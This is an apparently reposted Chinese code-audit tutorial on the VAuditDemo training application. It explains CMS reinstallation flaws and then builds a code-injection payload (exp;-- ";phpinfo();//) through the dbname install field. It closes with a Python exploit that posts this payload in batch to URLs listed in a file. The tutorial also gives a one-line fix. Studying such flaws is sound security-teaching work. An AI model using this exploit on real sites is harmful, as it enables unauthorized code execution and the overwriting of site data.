代码审计VauditDemo程序到exp编写_巡安似海

Posted 巡安似海

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计VauditDemo程序到exp编写_巡安似海相关的知识,希望对你有一定的参考价值。

要对一个程序做系统的审计工作,很多人都认为代码审计工作是在我们将CMS安装好之后才开始的,其实不然,在安装的时候审计就已经开始了!

一般安装文件为install.php或install/或include/目录下的某个文件 访问后开始进行安装,常见安装漏洞如下

(本文涉及的工具:公众号后台回复 Python_Fuzhu 获取)


install.lock文件

在完成CMS的安装之后一般都会生成一个install.lock文件
这个文件的作用就是 "防止网站误重启安装向导,导致重新安装"
这个文件也被称为"安装锁定保护文件",它是以 ".lock" 结尾
但是其文件名不一定为install,只是大多数情况下为install
而如果我们可以利用一些方法进行删除这个文件,或者重命名
那么就可以导致网站被重装

判断 lock 后跳转无exit

也就是说程序判断是否存在这个文件,如果存在则跳转到index.php
相反则进行安装程序,而程序在判断之后没有进行exit结束,导致后面代码正常执行
我们只是没看到而已,所以就造成了重装漏洞

解析 install.php.bak 漏洞

在安装完成后将Install.php rename为install.php.bak
但是由于apache的解析漏洞:如果无法识别最后的一个后缀的话,就会向上解析
那么就成为了PHP了,就会结合安装时的变量覆盖,又成重装了

变量覆盖导致重装

如果可以用GET、POST、COOKIE任意提交一个变量名为$insLockfile,给其赋空值
覆盖掉$insLockFile从而让file_exists为False就不会退出

安装文件的向导问题

如果在安装过程只能参数步骤直接以 GET 的形式提交那么可以通过step X的方式直接进入下一步安装

无验证功能,任意重装覆盖

在时候CMS程序在完成安装之后即不会自动删除安装包也不会生成.lock文件来判断是否安装成功过,
这时候就有可能出现 "误启安装向导" 导致系统重新安装,造成网站数据覆盖



下面进入实战阶段:

打开安装判断文件

代码审计VauditDemo程序到exp编写_巡安似海_mysql

注意第三行,可以看到程序时判断install.lock是否存在,如果存在则添加Location进行跳转到主页

虽然会跳转,但是下面的代码会继续正常执行,只是我们看不到了而已

已知可以重装,正常安装后,我们来看一下源代码,寻找可控变量

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_02


可以看到150行,存在可控遍历$str_tmp,往上翻,看到$str_tmp中存在可控变量

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_03

可以看到可控遍历有

$dbhost,$dbuser,$dbpass,$dbname

也就是说我们只要能控制这个几个变量,就可以把文件写入到/sys/config.php

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_04

可以看到前三个都是在mysql_connect里面进行连接数据库的,无法修改,所以可以选择$dbname

代码审计VauditDemo程序到exp编写_巡安似海_mysql_05


往前面翻,寻找这个变量是否在其他地方执行,因为我们不能代码正常执行且getshell,不然报错就无法执行

在120行进行了创建数据库的操作,也就是说我们的语句即可以执行sql语句,并且在文件中还要闭合引号

写入的配置文件如下(/sys/config.php)

<?php
error_reporting(0);
if (!file_exists($_SERVER["DOCUMENT_ROOT"]./sys/install.lock))
header("Location: /install/install.php");
exit;


include_once(../sys/lib.php);

$host="localhost";
$username="root";
$password="root";
$database="demo1";

$conn = mysql_connect($host,$username,$password);
mysql_query(set names utf8,$conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn)

die(Could not connect: . mysql_error());
exit;


session_start();
?>

代码审计VauditDemo程序到exp编写_巡安似海_代码审计_06

可以看到$database="$dbname",接下来先闭合下执行的sql语句

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_07


exp;-- "            正常执行sql语句

sql中--表示注释,而//在php表示注释,也就相当于闭合了sql语句

接下来我们需要执行php代码,去闭合config.php

代码审计VauditDemo程序到exp编写_巡安似海_sql语句_08

payload:exp;-- ";phpinfo();//


现在就可以写exp啦,还是刚才所说的,程序虽然会跳转但是还是会正常执行

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_09

POC:exp50;-- ";phpinfo();//

请求url:

http://www.vauditdemo.com/install/install.php

请求方式:post

ok,有这几点,我们就可以写个脚本,模拟发送请求

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_10

代码审计VauditDemo程序到exp编写_巡安似海_代码审计_11

这样只是批量执行了代码,我们可以自定义exp,自己修改,这里仅作演示

修改为批量,中间exp可自行修改

修复方法也很简单,这个程序是因为没有执行完后进行结束,从而执行后面的代码

我们只需要在第5行添加exit;即可

代码审计VauditDemo程序到exp编写_巡安似海_信息安全_12



完整EXP代码如下:

#!/usr/bin/python
#-*- coding:utf-8 -*-


import requests


def main(url):
headers=User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
url = url+/install/install.php
data= dbhost:localhost,
dbuser:root,
dbpass:root,
dbname:exp50;-- ";phpinfo();//,
Submit:%E5%AE%89%E8%A3%9D



html = requests.post(url,data=data,headers=headers)
if phpinfo in html.content:
print(url,ok)


with open(url.txt,r)as f:
for u in f.readlines():
main(u)


以上是关于代码审计VauditDemo程序到exp编写_巡安似海的主要内容,如果未能解决你的问题,请参考以下文章

代码审计VAuditDemo 重装漏洞

代码审计VAuditDemo 文件包含漏洞

对VAuditDemo的一次审计

代码审计VAuditDemo SQL注入漏洞

[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

MSP-EXP430F5529 白板子菜单及框架示例程序概览=_=